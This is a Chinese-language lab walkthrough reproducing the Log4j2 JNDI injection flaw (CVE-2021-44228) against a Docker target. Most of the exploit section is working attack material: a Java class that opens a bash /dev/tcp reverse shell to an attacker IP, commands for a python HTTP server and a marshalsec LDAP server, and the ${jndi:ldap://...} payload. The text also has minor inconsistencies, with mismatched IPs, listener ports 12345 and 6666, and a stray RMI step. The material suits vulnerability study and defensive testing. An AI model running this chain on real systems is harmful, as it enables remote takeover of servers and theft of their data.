Apache log4j2 RCE(CVE-2021-44228）

 

Apache log4j2 远程代码执行漏洞

 

0x00 漏洞原理

Apache Log4j 是 Apache 的一个开源项目，Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发，用来记录日志信息。

Log4j2中存在JNDI注入漏洞，当程序将用户输入的数据被日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。
 
 

0x01 影响版本

Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1

 

0x02 环境搭建

marshalsec-0.0.3-SNAPSHOT-all.jar
链接：https://pan.baidu.com/s/1XnpVW9QluzAB5qmqrynSQg
提取码：tv8a

192.168.68.68  #靶机
192.168.68.168 #攻击机/接收shell反弹

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j2 registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j2 /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh 

靶机执行如下命令：

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

 
 

docker run -it -d -p 8080:8080 --name log4j2 registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 

 
 

docker exec -it log4j2 /bin/bash

 
 

/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh 

 
 

http://192.168.86.86:8080/webstudy/hello-fengxuan  #环境搭建完毕,尝试访问主页

 
 

0x03 漏洞复现(log4j2反弹shell)

 1.攻击机(192.168.68.168)新建一个Exploit.java，并编译成class文件
注：本次测试使用java的版本为1.8，java版本会影响后续测试是否成功

//javac Exploit.java
public class Exploit {
   public Exploit(){
       try{
           // 要执行的命令
           String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.68.168/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"};
           Process pc = Runtime.getRuntime().exec(commands);
           pc.waitFor();
      } catch(Exception e){
           e.printStackTrace();
      }
  }

   public static void main(String[] argv) {
       Exploit e = new Exploit();
  }
}

 
 

2.攻击机(192.168.68.168)开启一个python服务，监听888端口：
python3 -m http.server 888

 
 

3.攻击机(192.168.68.168)借助marshalsec项目，启动一个LDAP服务器， 将web服务器端口888映射为1234 
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.68.168:888/#Exploit" 1234

 
 

4.攻击机开始监听12345端口(因为Exploit反弹shelll到攻击机的12345端口)

 
 

5.访问靶机，并将payload发送给靶机，注意需要将GET方法改为POST
c=${jndi:ldap://192.168.68.168:1234/Exploit}

 
 

6.靶机成功访问了攻击机开启的web服务，并下载了Exploit.class恶意文件

 
 

7.使用marshalsec工具快捷的开启rmi服务，借助rmi服务将rmi reference result 成功重定向到web服务器 

 
 

8.攻击机监听的6666端口成功收到反弹过来的shell

 
 
 
 

参考链接
https://cloud.tencent.com/developer/article/1921530
https://www.cnblogs.com/peace-and-romance/p/15717457.html